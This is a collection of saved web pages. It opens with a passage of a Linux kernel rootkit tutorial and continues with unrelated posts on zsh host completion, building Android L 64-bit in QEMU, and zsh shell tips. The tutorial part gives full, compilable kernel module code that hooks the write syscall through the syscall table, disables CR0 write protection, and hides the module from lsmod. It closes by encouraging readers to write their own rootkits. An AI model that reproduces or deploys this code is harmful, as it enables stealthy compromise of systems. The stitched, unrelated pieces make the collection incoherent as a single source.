`09` |   
---|---  
`10` | `...`  
---|---  
`11` |   
---|---  
`12` | `static` `int` `init(``void``)`  
---|---  
`13` | `{`  
---|---  
`14` |   
---|---  
`15` | ` ``struct` `page *_sys_call_page;`  
---|---  
`16` | ` ``printk(KERN_ALERT ``"\nHIJACK INIT\n"``);`  
---|---  
`17` |   
---|---  
`18` | ` ``_sys_call_page = virt_to_page(&syscall_table);`  
---|---  
`19` |   
---|---  
`20` | ` ``pages_rw(_sys_call_page, 1);`  
---|---  
`21` |   
---|---  
`22` | ` ``// now we can use the sys_call_table`  
---|---  
`23` |   
---|---  
`24` | ` ``...`  
---|---  
`25` | `}`  
---|---  
This is an example source code \(hijack.c\):

`01` | `#include <linux/init.h>`  
---|---  
`02` | `#include <linux/module.h>`  
---|---  
`03` | `#include <linux/kernel.h>`  
---|---  
`04` | `#include <linux/errno.h>`  
---|---  
`05` | `#include <linux/types.h>`  
---|---  
`06` | `#include <linux/unistd.h>`  
---|---  
`07` | `#include <asm/cacheflush.h>`  
---|---  
`08` | `#include <asm/page.h>`  
---|---  
`09` | `#include <asm/current.h>`  
---|---  
`10` | `#include <linux/sched.h>`  
---|---  
`11` | `#include <linux/kallsyms.h>`  
---|---  
`12` |   
---|---  
`13` | `unsigned ``long` `*syscall_table = (unsigned ``long` `*)0xc05d2180;`  
---|---  
`14` |   
---|---  
`15` | `void` `(*pages_rw)(``struct` `page *page, ``int` `numpages) = (``void` `*) 0xc012fbb0;`  
---|---  
`16` | `void` `(*pages_ro)(``struct` `page *page, ``int` `numpages) = (``void` `*) 0xc012fe80;`  
---|---  
`17` |   
---|---  
`18` | `asmlinkage ``int` `(*original_write)(unsigned ``int``, ``const` `char` `__user *, ``size_t``);`  
---|---  
`19` |   
---|---  
`20` | `asmlinkage ``int` `new_write(unsigned ``int` `fd, ``const` `char` `__user *buf, ``size_t` `count) {`  
---|---  
`21` |   
---|---  
`22` | ` ``// hijacked write`  
---|---  
`23` |   
---|---  
`24` | ` ``printk(KERN_ALERT ``"WRITE HIJACKED"``);`  
---|---  
`25` |   
---|---  
`26` | ` ``return` `(*original_write)(fd, buf, count);`  
---|---  
`27` | `}`  
---|---  
`28` |   
---|---  
`29` | `static` `int` `init(``void``) {`  
---|---  
`30` |   
---|---  
`31` | ` ``struct` `page *sys_call_page_temp;`  
---|---  
`32` |   
---|---  
`33` | ` ``printk(KERN_ALERT ``"\nHIJACK INIT\n"``);`  
---|---  
`34` |   
---|---  
`35` | ` ``sys_call_page_temp = virt_to_page(&syscall_table);`  
---|---  
`36` | ` ``pages_rw(sys_call_page_temp, 1);`  
---|---  
`37` |   
---|---  
`38` | ` ``original_write = (``void` `*)syscall_table[__NR_write];`  
---|---  
`39` | ` ``syscall_table[__NR_write] = new_write; `  
---|---  
`40` |   
---|---  
`41` | ` ``return` `0;`  
---|---  
`42` | `}`  
---|---  
`43` |   
---|---  
`44` | `static` `void` `exit``(``void``) {`  
---|---  
`45` |   
---|---  
`46` | ` ``struct` `page *sys_call_page_temp;`  
---|---  
`47` |   
---|---  
`48` | ` ``sys_call_page_temp = virt_to_page(syscall_table);`  
---|---  
`49` | ` ``syscall_table[__NR_write] = original_write;`  
---|---  
`50` | ` ``pages_ro(sys_call_page_temp, 1);`  
---|---  
`51` |   
---|---  
`52` | ` ``printk(KERN_ALERT ``"MODULE EXIT\n"``);`  
---|---  
`53` |   
---|---  
`54` | ` ``return``;`  
---|---  
`55` | `}`  
---|---  
`56` |   
---|---  
`57` | `module_init(init);`  
---|---  
`58` | `module_exit(``exit``);`  
---|---  
Here is a “Makefile” to compile the source code:

`1` | `obj-m := hijack.o`  
---|---  
`2` |   
---|---  
`3` | `KDIR := /lib/modules/$(shell uname -r)/build`  
---|---  
`4` | `PWD := $(shell pwd)`  
---|---  
`5` |   
---|---  
`6` | `default``:`  
---|---  
`7` | ` ``$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules`  
---|---  
Now we can load our module:

`1` | `spaccio@spaccio-laptop:~$ ``sudo` `insmod hijack.ko`  
---|---  
\- Bypass CR0 Protection

Some CPUs have the 0-bit of the CR \(control register\) set to 0: this means
that “protected mode”is enabled. The “protected mode” was introduced in Intel
CPUs starting from Intel 80286. This bit is also called wp-bit: we can check
if our CPU support this kind of protection in this way:

`1` | `spaccio@spaccio-laptop:~$ ``cat` `/proc/cpuinfo | ``grep` `wp`  
---|---  
`2` | `wp : ``yes`  
---|---  
`3` | `wp : ``yes`  
---|---  
You can find here a brief description of the CR0 register. Reading from
wikipedia you can see that bit 0 \(WP\) is the one that deals with the
“protected mode”: if WP is set to 1 then the CPU is in “write-protect” mode;
else it is in “read/write” mode.  
If the CPU is in “write-protect” mode and if we try to load the “hijack.ko”
module, the kernel will kill it:

`1` | `spaccio@spaccio-laptop:~$ ``sudo` `insmod hijack.ko`  
---|---  
`2` | `Killed`  
---|---  
So if we set this bit to 0 we will have access to the memory pages \(including
the syscall table\) in write mode.  
Again the kernel provides us two functions:

`1` | `#define read_cr0 () (native_read_cr0 ())`  
---|---  
`2` | `#define write_cr0 (x) (native_write_cr0 (x))`  
---|---  
The native read/write functions are defined as follows:

`01` | `static` `inline` `unsigned ``long` `native_read_cr0 (``void``)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``unsigned ``long` `val;`  
---|---  
`04` | ` ``asm ``volatile``(``"movl %%cr0,%0\n\t"` `:``"=r"` `(val));`  
---|---  
`05` | ` ``return` `val;`  
---|---  
`06` | `}`  
---|---  
`07` |   
---|---  
`08` | `static` `inline` `void` `native_write_cr0 (unsigned ``long` `val)`  
---|---  
`09` | `{`  
---|---  
`10` | ` ``asm ``volatile``(``"movl %0,%%cr0"``: :``"r"` `(val));`  
---|---  
`11` | `}`  
---|---  
The “read\_cr0″ function returns the value of the register CR0; the
“write\_cr0″ function sets the bits of the register based on the value passed
as parameter.  
Now we can enable/disable the protected mode in such way:

`01` | `/* disable protected mode`  
---|---  
`02` |   
---|---  
`03` | ` ``I perform a not operation to 0x10000 ( so I have 0x01111).`  
---|---  
`04` | ` ``Later I perform an AND operation between the current value`  
---|---  
`05` | ` ``of the CR0 register and 0x01111. So the WP bit is set to 0`  
---|---  
`06` | ` ``and the protected mode is disabled.`  
---|---  
`07` |   
---|---  
`08` | `*/`  
---|---  
`09` |   
---|---  
`10` | `write_cr0 (read_cr0 () & (~ 0x10000));`  
---|---  
`11` |   
---|---  
`12` | `/* enable protected mode`  
---|---  
`13` |   
---|---  
`14` | ` ``I perform an OR operation between the current value of`  
---|---  
`15` | ` ``the CR0 register and 0x10000. So the WP bit is set to 1`  
---|---  
`16` | ` ``and the protected mode is enabled.`  
---|---  
`17` |   
---|---  
`18` | `*/`  
---|---  
`19` |   
---|---  
`20` | `write_cr0 (read_cr0 () | 0x10000);`  
---|---  
Follows “hijack.c” modified \(“hijack2.c”\):

`01` | `#include <linux/init.h>`  
---|---  
`02` | `#include <linux/module.h>`  
---|---  
`03` | `#include <linux/kernel.h>`  
---|---  
`04` | `#include <linux/errno.h>`  
---|---  
`05` | `#include <linux/types.h>`  
---|---  
`06` | `#include <linux/unistd.h>`  
---|---  
`07` | `#include <asm/cacheflush.h>`  
---|---  
`08` | `#include <asm/page.h>`  
---|---  
`09` | `#include <asm/current.h>`  
---|---  
`10` | `#include <linux/sched.h>`  
---|---  
`11` | `#include <linux/kallsyms.h>`  
---|---  
`12` |   
---|---  
`13` | `unsigned ``long` `*syscall_table = (unsigned ``long` `*)0xc05d2180;`  
---|---  
`14` |   
---|---  
`15` | `asmlinkage ``int` `(*original_write)(unsigned ``int``, ``const` `char` `__user *, ``size_t``);`  
---|---  
`16` |   
---|---  
`17` | `asmlinkage ``int` `new_write(unsigned ``int` `fd, ``const` `char` `__user *buf, ``size_t` `count) {`  
---|---  
`18` |   
---|---  
`19` | ` ``// hijacked write`  
---|---  
`20` |   
---|---  
`21` | ` ``printk(KERN_ALERT ``"WRITE HIJACKED"``);`  
---|---  
`22` |   
---|---  
`23` | ` ``return` `(*original_write)(fd, buf, count);`  
---|---  
`24` | `}`  
---|---  
`25` |   
---|---  
`26` | `static` `int` `init(``void``) {`  
---|---  
`27` |   
---|---  
`28` | ` ``printk(KERN_ALERT ``"\nHIJACK INIT\n"``);`  
---|---  
`29` |   
---|---  
`30` | ` ``write_cr0 (read_cr0 () & (~ 0x10000));`  
---|---  
`31` |   
---|---  
`32` | ` ``original_write = (``void` `*)syscall_table[__NR_write];`  
---|---  
`33` | ` ``syscall_table[__NR_write] = new_write; `  
---|---  
`34` |   
---|---  
`35` | ` ``write_cr0 (read_cr0 () | 0x10000);`  
---|---  
`36` |   
---|---  
`37` | ` ``return` `0;`  
---|---  
`38` | `}`  
---|---  
`39` |   
---|---  
`40` | `static` `void` `exit``(``void``) {`  
---|---  
`41` |   
---|---  
`42` | ` ``write_cr0 (read_cr0 () & (~ 0x10000));`  
---|---  
`43` |   
---|---  
`44` | ` ``syscall_table[__NR_write] = original_write; `  
---|---  
`45` |   
---|---  
`46` | ` ``write_cr0 (read_cr0 () | 0x10000);`  
---|---  
`47` |   
---|---  
`48` | ` ``printk(KERN_ALERT ``"MODULE EXIT\n"``);`  
---|---  
`49` |   
---|---  
`50` | ` ``return``;`  
---|---  
`51` | `}`  
---|---  
`52` |   
---|---  
`53` | `module_init(init);`  
---|---  
`54` | `module_exit(``exit``);`  
---|---  
Makefile:

`1` | `obj-m := hijack2.o`  
---|---  
`2` |   
---|---  
`3` | `KDIR := /lib/modules/$(shell uname -r)/build`  
---|---  
`4` | `PWD := $(shell pwd)`  
---|---  
`5` |   
---|---  
`6` | `default``:`  
---|---  
`7` | ` ``$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules`  
---|---  
Now we can load our module without problems:

`1` | `spaccio@spaccio-laptop:~$ ``sudo` `insmod hijack2`  
---|---  
`2` | `spaccio@spaccio-laptop:~$`  
---|---  
\- Hide Kernel Module

We can simply hide our module: we can remove it from the module list \(lsmod
and /proc/modules\). Look at the following source code \(“hijack3.c”\):

`01` | `#include <linux/init.h>`  
---|---  
`02` | `#include <linux/module.h>`  
---|---  
`03` | `#include <linux/kernel.h>`  
---|---  
`04` | `#include <linux/errno.h>`  
---|---  
`05` | `#include <linux/types.h>`  
---|---  
`06` | `#include <linux/unistd.h>`  
---|---  
`07` | `#include <asm/cacheflush.h>`  
---|---  
`08` | `#include <asm/page.h>`  
---|---  
`09` | `#include <asm/current.h>`  
---|---  
`10` | `#include <linux/sched.h>`  
---|---  
`11` | `#include <linux/kallsyms.h>`  
---|---  
`12` |   
---|---  
`13` | `static` `int` `init(``void``) {`  
---|---  
`14` |   
---|---  
`15` | ` ``list_del_init(&__this_module.list);`  
---|---  
`16` |   
---|---  
`17` | ` ``return` `0;`  
---|---  
`18` | `}`  
---|---  
`19` |   
---|---  
`20` | `static` `void` `exit``(``void``) {`  
---|---  
`21` |   
---|---  
`22` | ` ``return``;`  
---|---  
`23` | `}`  
---|---  
`24` |   
---|---  
`25` | `module_init(init);`  
---|---  
`26` | `module_exit(``exit``);`  
---|---  
We compile and run it:

`1` | `obj-m := hijack3.o`  
---|---  
`2` |   
---|---  
`3` | `KDIR := /lib/modules/$(shell uname -r)/build`  
---|---  
`4` | `PWD := $(shell pwd)`  
---|---  
`5` |   
---|---  
`6` | `default``:`  
---|---  
`7` | ` ``$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules`  
---|---  
If we try to look through lsmod we cannot find our module:

`01` | `spaccio@spaccio-laptop:~$ ``sudo` `insmod hijack3`  
---|---  
`02` | `spaccio@spaccio-laptop:~$ lsmod`  
---|---  
`03` | `Module Size Used by`  
---|---  
`04` | `kernel_redir 2200 1`  
---|---  
`05` | `aes_i586 7280 2`  
---|---  
`06` | `aes_generic 26875 1 aes_i586`  
---|---  
`07` | `rfcomm 33811 6`  
---|---  
`08` | `binfmt_misc 6599 1`  
---|---  
`09` | `sco 7998 2`  
---|---  
`10` | `bnep 9542 2`  
---|---  
`11` | `l2cap 37008 16 rfcomm,bnep`  
---|---  
`12` | `vboxnetadp 6454 0`  
---|---  
`13` | `vboxnetflt 15216 0`  
---|---  
`14` | `...`  
---|---  
`15` | `spaccio@spaccio-laptop:~$ lsmod |``grep` `hijack3.ko`  
---|---  
`16` | `spaccio@spaccio-laptop:~$`  
---|---  
This happens thanks to “list\_del\_init\(\)” function. This function is
defined as follows:

`1` | `static` `inline` `void` `list_del_init (``struct` `list_head * entry)`  
---|---  
`2` | `{`  
---|---  
`3` | ` ``__list_del (entry->prev, entry->next);`  
---|---  
`4` | ` ``INIT_LIST_HEAD (entry);`  
---|---  
`5` | `}`  
---|---  
While the “\_\_list\_del\(\)” and “INIT\_LIST\_HEAD\(\)” functions are defined
as follows:

`01` | `static` `inline` `void` `__list_del (``struct` `list_head * prev, ``struct` `list_head * next)`  
---|---  
`02` | `{`  
---|---  
`03` | ` ``next-> prev = prev;`  
---|---  
`04` | ` ``prev-> next = next;`  
---|---  
`05` | `}`  
---|---  
`06` |   
---|---  
`07` | `static` `inline` `void` `INIT_LIST_HEAD (``struct` `list_head * list)`  
---|---  
`08` | `{`  
---|---  
`09` | ` ``list-> next = list;`  
---|---  
`10` | ` ``list-> prev = list;`  
---|---  
`11` | `}`  
---|---  
So the “list\_del\_init\(\)” function removes the name of our module from the
doubly linked list that manages the list of modules: in this way can not be
found by lsmod \(or in /proc/modules\).

\- Conclusion

The post is finished and I hope that it can help you to write your own modules
\(or rootkit :\) \).  
Bye.

Categories:C/C++, GNU/Linux, Programming, SecurityTags:CR0 Protection,
hijacking, Kernel 2.6, Syscall, Write protection

# hostname completion with zsh - nion's blog

**Created:**| _11/28/2009 4:34:19 PM_  
---|---  
**Updated:**| _11/28/2009 4:34:32 PM_  
**Author:**| __  
**Tags:**| _setup zsh_  
  
I think this is old but I am blogging it anyway, haven't seen it often in zsh
rc files.  
  

> local knownhosts  
> knownhosts=\(
> $\{$\{$\{$\{\(f\)"$\(<$HOME/.ssh/known\_hosts\)"\}:\#\[0-9\]\*\}%%\
> \*\}%%,\*\} \)  
> zstyle ':completion:\*:\(ssh|scp|sftp\):\*' hosts $knownhosts  
>
  

Enables host completion for ssh, scp and sftp based on what you have in your
known\_hosts.

Don't forget to set  _HashKnownHosts no_ in ~/.ssh/config

# How to Build and Run Android L 64-bit ARM in QEMU

**Created:**| _8/24/2014 8:34:48 PM_  
---|---  
**Updated:**| _8/24/2014 8:45:41 PM_  
**Author:**| __  
**Tags:**| _virtusalisation android_  
  

# How to Build and Run Android L 64-bit ARM in QEMU

Most people can’t afford Juno Cortex A57/A53 development board, and mobile
processors based on the latest 64-bit ARM cores are only expected by early
2015. But thanks to a small team at Linaro, you can now build and run Android
L 64-bit ARM in the latest version of QEMU that supports Aarch64. Alex Bennée,
an engineer working for Linaro, wrote a blog post in Linaro’s Core Dump blog
explaining the Android emulator is actually based on QEMU,  the differences
compared to mainline QEMU, the work they’ve done on Android L at Linaro, and
most importantly, provided the basic steps showing how to build and try
Android L 64-bit ARM \(ARMv8\) in QEMU. I’ve just done that, but
unfortunately, albeit the builds complete, I could not manage to start Android
L in QEMU yet. If you still want to give it a try, you’ll need a Linux PC, and
patience, as it may take about one day to retrieve the source code, and build
everything from source.

<img src='img/Temp2_4073.jpg' alt='Android_L_64-bit_ARM_QEMU' />

I’ve done all this in a computer running Ubuntu 14.04 with an AMD FX8350
processor and 16 GB RAM.

First, you’ll need to install an ARM 64-bit toolchain, some dependencies, and
tools:

[code]

    sudo apt-get install gcc-aarch64-linux-gnu build-essentials git bison zlib1g-dev \
    libglib2.0-dev libpixman-1-dev gperf android-tools-adb
    
[/code]

The next step is to cross-compile a Linux 3.10 kernel for Android:

[code]

    mkdir -p ~/edev/linaro
    git clone https://git.linaro.org/people/christoffer.dall/linux-android.git
    cd linux-android
    git checkout ranchu-linaro-beta1
    
[/code]

There’s a bug include the current version of the toolchain in Ubuntu 14.04
\(https://bugs.launchpad.net/linaro-linux-baseline/+bug/1258013\) which
prevents the build to complete. You can either remove CONFIG\_DEBUG\_INFO=Y in
arch/arm64/configs/ranchu\_defconfig \(I did that\), or update your toolchain.
Let’s complete the build:

[code]

    ARCH=arm64 make ranchu_defconfig
    ARCH=arm64 make CROSS_COMPILE=aarch64-linux-gnu- -j8
    
[/code]

Now you need to build the Android Open Source Project \(AOSP\). If you haven’t
done so, you’ll have to install the repo tool:

[code]

    mkdir ~/bin
    PATH=~/bin:$PATH
    curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
    chmod a+x ~/bin/repo
    
[/code]

Then get AOSP source code \(master as below, or l-preview branch\):

[code]

    cd ..
    mkdir AOSP
    repo init -u https://android.googlesource.com/platform/manifest
    repo sync
    
[/code]

The last step can take a few hours depending on your internet connection to
Google servers.  
Now download and apply a patch made by Linaro:

[code]

    wget http://people.linaro.org/~christoffer.dall/linaro-devices.tar.gz
    tar -xvf linaro-devices.tar.gz
    
[/code]

Possibly configure git:

[code]

    git config --global user.email "name@email.com"
    git config --global user.name "Your Name"
    
[/code]

And build Android L for ARMv8:

[code]

    source build/envsetup.sh
    lunch ranchu-userdebug
    m -j8
    
[/code]

The last step will again take a while. It took my machine 2 or 3 hours, and
the total time was actually a bit more than than as my PC suffered two thermal
shutdowns during the build, and I had to restart the build twice. The last
time, I decided to underclock my CPU to 3.4 GHz, and the build went through.

The last step before running Android L is to build QEMU:

[code]

    cd ..
    git clone https://git.linaro.org/people/peter.maydell/qemu-arm.git
    cd qemu-arm
    
[/code]

git checkout ranchu-linaro-beta1  
make -j8

Builds should now all be successfully complete. We just need to create some
symlinks helping to shorten qemu command line, and run QEMU:

[code]

    cd ..
    ln -s linux-android/arch/arm64/boot/ ranchu-kernel
    ln -s AOSP/out/target/product/ranchu/ ranchu-build
    ./qemu-arm/aarch64-softmmu/qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 4096 \
    -kernel ./ranchu-kernel/Image -append 'console=ttyAMA0,38400 keep_bootcon' -monitor stdio \
    -initrd ranchu-build/ramdisk.img -drive index=2,id=userdata,file=ranchu-build/userdata.img \
    -device virtio-blk-device,drive=userdata -device virtio-blk-device,drive=cache \
    -drive index=1,id=cache,file=ranchu-build/cache.img -device virtio-blk-device,drive=system \
    -drive index=0,id=system,file=ranchu-build/system.img -netdev user,id=mynet \
    -device virtio-net-device,netdev=mynet -show-cursor
    
[/code]

That’s the output I get:

[code]

    QEMU 2.0.50 monitor - type 'help' for more information
    (qemu) adb_server_notify: Failed to establish connection to ADB server
    console on port 5554, ADB on port 5555
    VNC server running on `127.0.0.1:5900'
    
[/code]

So it’s quite possible there’s a problem with adb, but Google did not help,
and I failed to go further. More detailed instructions will soon be posted in
Linaro Wiki, so I may be able to find out where I made a mistake once it’s
posted.

Tweet Most people can’t afford Juno Cortex A57/A53 development board, and
mobile processors based on the latest 64-bit ARM cores are only expected by
early 2015. But thanks to a...

# ZSH Tips and Tricks by zzapper

**Created:**| _7/4/2009 1:37:01 PM_  
---|---  
**Updated:**| _7/4/2009 1:37:09 PM_  
**Author:**| __  
**Tags:**| _zsh commandline-kungfu_  
  

## Zzappers Best of ZSH Tips

zzapper's Tips Home  
  
Updated : 17Feb09 \*N\* Marks New \*C\* Corrected

[code]

    > zsh -fx   # start a "clean" version of zsh (without your startup files)
    print $ZSH_VERSION
    http://zshwiki.org/
    http://www.zsh.org/mla/ Searchable Mailing List Archive
    http://grml.org/zsh/zsh-lovers.html 
    http://zsh.sunsite.dk/Doc/Release/zsh_toc.html  Everything?
    man zsh
    man zshall
    
    
[/code]

* * *
[code]

    zsh          Zsh overview (this section)
    zshmisc      Anything not fitting into the other sections
    zshexpn      Zsh command and parameter expansion
    zshparam     Zsh parameters
    zshoptions   Zsh options
    zshbuiltins  Zsh built-in functions
    zshzle       Zsh command line editing
    zshcompwid   Zsh completion widgets
    zshcompsys   Zsh completion system
    zshcompctl   Zsh completion control
    zshmodules   Zsh loadable modules
    zshzftpsys   Zsh built-in FTP client
    zshall       Meta-man page containing all of the above
    
    
[/code]

* * *
[code]

    /usr/share/zsh/htmldoc/zsh_toc.html
    
    
[/code]

* * *
[code]

    Global aliases
    Searching and filtering my mysql database with my own utility searchdb
    >searchdb client1 | grep -i website1 | fmt -50 | putclip
    How you can simplify this using 3 zsh Global Aliases 
    >searchdb client1 G website1 F P
    alias -g ND='$(ls -d *(/om[1]))' # newest directory
    alias -g NF='$(ls *(.om[1]))'    # newest file
    Example of use
    cp NF ND
    
    
    
[/code]

* * *
[code]

    !!
    !$ (last argument)
    !$:h (last argument, strip one level)
    !$:h:h (last argument, strip two levels)
    !?echo
    vi !* (all parameters)
    vi !$ (last parameter)
    vi !^  (first previous parameter)
    vi !:1 (first previous parameter)
    vi !-2:2 (second parameter of second but last command)
    
    history               # View recent commands
    !42                   # Re-execute history command 42
    
    
    
[/code]

* * *
[code]

    # substitute previous command
    r oldstr=newstr
    !!:s/fred/joe/        # edit previous command replace first fred by joe
    !!:s/fred/joe/        # Note : sadly no regexp available with :s///
    !!:gs/fred/joe/       # edit previous command replace all fred by joe
    mv Licence\ to\ Print\ Money.pdf !#^:gs/ //  # rename file removing spaces
    ^fred^joe             # edit previous command replace fred by joe
    ^str1^str2^:u:p       # replace str1 by str2 change case and just display
    echo chim
    ^chim^&-&ney-&-&-cheree # reuse LHS
    !42:p
    also use control-R
    ^str1^str2^:G         # replace as many as possible
    
    cd !?ls<TAB>   #get command and parameters of a previous ls command
    cd !?ls?:*<TAB>   #get (just) parameters of a previous ls command
    
    
[/code]

* * *
[code]

    Generating a command from an earlier one
    How to recall the parameters of a previous command, on line 7 below
    recall the parameters of line 5
    
    5> mv somefile1 /home/saket/stuff/books/
    6> acroread somefile.pdf
    7> mv somefile2 /home/saket/stuff/books/
    
    > mv !?saket
    Would bring up the whole line ready for a little editing
    
    or purist
    
    > mv !?saket?:*
    Would just bring up the parameters
    
    If you know the history number of the line (say 5) with desired parameters you can try
    
    > !5:s/somefile1/somefile2/
    
    and if you don't know the history number
    
    !?saket?:s/somefile1/somefile2/
    
    # History Substitution Summary
    #For CURRENT line that you are editing (the # designates current line)
    # Remember Tab will expand the following
    
    !#:0    command
    !#^     first parameter
    !#:1    first parameter
    !#:1-4  first 4 parameters
    !#$     last parameter
    !#*     all parameters
    !#$:s/bash/zsh perform substitution on previous parameter
    
    cp longfilename.php backup_!#^
    cp {,backup_}verylongfilename.tex   # same thing
    mv textfile.{txt,bak}   # expands to mv textfile.txt textfile.bak
    
    #For Previous Command (for comparison)
    !-1     repeat whole command
    !!      repeat (shortcut)
    !:0     command
    !^      first parameter
    !:1     first parameter
    !:1-4   first 4 parameters
    !$      last parameter
    !*      all parameters
    !!:s/bash/zsh (or ^bash^zsh)
    !^:t    just file name of first parameter
    !$:h    just path of last parameter
    !-2$:r  just file name without extension of first parameter
    
    For last but one command
    !-2     repeat last but one command
    !-2^    first parameter last but one command
    !-2$    last parameter last but one command
    !-2:2   second parameter of second but last command
    !-2:s/bash/zsh
    etc
    For history command 42
    !42
    
    
    
[/code]

* * *
[code]

    !:0 is the previous command name
    !^, !:2, !:3, !$ are the arguments
    !* is all the arguments
    !-2, !-3,  are earlier commands
    !-2^, !-2:2, !-2$, !-2* are earlier parameters
    
    cd !$:h  (remove file name)
    cat !!:t (only file name)
    # Convert images (foo.gif => foo.jpg):
    $ for i in **/*.gif; convert $i $i:r.jpg
    
    print ${param:&}   (last substitute)
    
    < readme.txt  # < shorthand for more
    
    # Directory substitution (magic)
    # if you were in directory
    /c/inetpub/dev.somehomes.co.uk/epsystem/eppigeon/
    cd dev www
    #would put you in parallel directory
    /c/inetpub/www.somehomes.co.uk/epsystem/eppigeon/
    
    
    
[/code]

* * *
[code]

    # filtering the output of a command conventionally
    print $(history -n -1|sed 's/.* //')
    # ${${(z)foo}[2]} zsh filtering mechanism
    print ${${(z)$(history -n -1)}[-1]}
    print ${${(z)history[$((HISTCMD-1))]}[-1]}
    gvim.exe $(history -n -1 | sed "s/^[^ ]* //;s/ .*//")
    print ${${(z)history[$((HISTCMD-1))]}[2]}
    
    
[/code]

* * *
[code]

    # ls
    ls -ld **/*(/^F) # list any empty directories
    print **/*(/^F) | xargs -n1 -t rmdir #delete empty directories
    zargs rmdir -- ./**/*(/od) 2> /dev/null # deletes empty directories
    ls ^x*           # list all but x*
    #list all files without an extension ( no dot)
    ls *~*.*(.)
    # delete all directories Pictures_of_* except Pictures_of_beautiful_flowers
    rm -rf Pictures_of_^beautiful_flowers   # selective delete *N*
    ls (x*~x3|x5)    # list files x* except x3 and x5
    ls **/fred*~*junk*/* # list all files fred* unless in a junk directory
    gp 'host' **/(*.cfm~(ctpigeonbot|env).cfm)
    grep -i 'host' **/(*.cfm~(ctpigeonbot|env).cfm)~*((#s)|/)junk*/*(.)
    egrep -i "^ *mail\(" **/*.php  
    gp "^ *mail\(" **/*.php~*junk*/*  #find all calls to mail, ignoring junk directories
    ls *.h~(fred|foo).h # same thing
    ls (x*~x[3-5])   # list files x* except x3 to x5
    ls *[^2].php~*template*  # list files with 2nd filter
    ls (xx|yy)       # list xx or yy
    ls *.(jpg|gif)   # list graphic files
    ls fred{joe,sid}.pl
    ls fred{09..13}.pl # range
    ls fred<76-88>.pl# list all files fred76.pl to fred88.pl range
    ls fred<76->.pl  # list all files fred76.pl to fred9999*.pl etc
    ls {_,}fred.php  # list files _fred.php fred.php 
    ls (_|)fred.php  # same effect by globbing
    ls *.{jpg,gif}(.N) # don't break if one or other image type absent
    
    
[/code]

* * *
[code]

    setopt no_case_glob  # set ignore case for ls etc
    
    
[/code]

* * *
[code]

    # globbing modifiers
    # :r removes the suffix from the result,
    # :t takes away the directory part
    # . means must be regular files not directories etc
    # *(om[1]) picks most recently modified file
    # (.N) no warning message if any file absent
    ls (#i)*.pmm     # case insensitive globbing (note exact syntax)
    ls *(om[1])      # print the most recent file
    cp *(om[1])<TAB> # will complete file name
    ls *(.om[1])     # print the most recent file (not directory)
    ls -l *(Om[1])   # oldest file
    ls -lt **/*.tex(D.om[1,5]) # list 5 most recent files in hierarchy
    # list 5 most recent files in each sub-directory
    dirs=( '' **/*(DM/) ) eval 'ls ${^dirs}*(ND.om[1,5])'
    ls {^dev*,}/index.php(.N) # ignore directories beginning dev*
    ls **/index.php~dev*(/*)##   # ignore subdirectories dev* multi-level
    vi *(.om[1]^D)   # vi newest file ^D means switch off GLOB_DOTS
    ls -tld **/*(m-2) # list files modified in last 2 days in hierarchy
    ls *(om[1,5])    # print the 5 most recent files
    ls -l *(m4)      # list files modified exactly 4 days ago
    ls -ltd *(mw3)   # list files 3 weeks old
    ls -1ld *([1,10])# list just 10 files one per line , no directories
    ls *(m-1)        # files modified today
    ls *(m0)         # files modified today
    ls *(^m0)        # files NOT modified today *N*
    vi *(m0)         # re-edit all files changed today!
    ls *.{aux,dvi,log,toc} # rm latex temp files  *C*
    rm ./*(Om[1,-11])# removes all files but the ten newest ones (delete all but last 10 files in a directory)
    
    
    ls *(n:t)        # order by name strip directory
    ls **/*(On:t)    # recursive reverse order by name, strip directory
    ls PHP*/**/*.php # recursive but only for subdirectories PHP*
    ls *.c(:r)       # strip suffix
    ls **/*(.)       # only files no directories
    ls -ld *(/)      # list only directories
    
    
[/code]

* * *
[code]

    #oddities
    [[ FOO = (#i)foo ]]  # case insensitive matching
    fred=$((6**2 + 6))      # can do maths
    : > /apache/access.log  # truncate a log file
    
    
[/code]

* * *
[code]

    # arrays
    X=(x1 x2)               # create an array
    print -C 1 $X           # print each array element on it's own line
    ls $X
    print ${#path}          # length of "path" array
    print ${#path[1]}       # length of first element in path array
    print ${$( date )[2,4]} # Print words two to four of output of ’date’:
    array=(~/.zshenv ~/.zshrc ~/.zlogout)
    filelst[$(($#filelst+1))]=$x # append (push) to an array
    filelst+=($x)           # append (push) to an array (better)
    files=(${(f)"$(egrepcmd1l)"} ) # push a sentence to an array (where egrepcmd1l is a global alias
    % print ${array:t}
    .zshenv .zshrc .zlogout
    
    
    
[/code]

* * *
[code]

    # variable substitution
    somevar="bu&^*ck"                  # variable with mucky characters
    print ${somevar//[^[:alnum:]]/_}   # replace all non-alphanumerics with _
    echo ${file##*/}                   # echo just the file name
    echo ${texfilepath%/*.*}           # echo just the path
    echo ${file%.*}                    # strip file extension
    echo $file:r                       # strip file extension
    echo ${0##*[!0-9]}                 # strip all but trailing digit from filename $0
    echo ${(M)0%%<->}                  # strip all but trailing digit from filename 
    file=${1/\//C:\/}                  # substitute / with c:/ ANYWHERE in string
    file=${1/#\//C:\/}                 # substitute / with c:/ Beginning of string
    file=${1/%\//C:\/}                 # substitute / with c:/ End of string
                                       # note # & % are using to match beginning and end
    
    
    
[/code]

* * *
[code]

    # decisions
    # cd to different drive depending on Windows login name
    drive=$([[ "$LOGNAME" != davidr ]] && echo '/o' || echo '/c') # trad way
    cd ${drive}/inetpub/wwwdev/www.some.co.uk/
    drive=${${${LOGNAME:#davidr}:+/o}:-/c}                        # zsh way
    cd ${drive}/inetpub/wwwdev/www.some.co.uk/
    
    # chaining two modifications 
    # .om[1] gives newest file
    # cyg is a zsh function doing a path conversion
    gvim.exe $(echo /c/aax/*(.om[1]))(+cyg) &  ### nested
    gvim.exe /c/aax/*(.om[1]+cyg) &            #### both operations
    
    
    # variable with variable name
    eval "$1=$PWD"
    
    
    
[/code]

* * *
[code]

    cp file ~1                      # where 1 is first entry in pushd stack
    #zsh completion
    startfilename<tab>           # will complete matching files anywhere in $PATH
    startfilename<C-D>           # will list matching files anywhere in $PATH
    vi main*~*temp*<tab>         # avoid file with temp in the name
    cd /u/lo/li<tab>  completes to /usr/local/lib
    #directory sizes
    du -sk *(/)
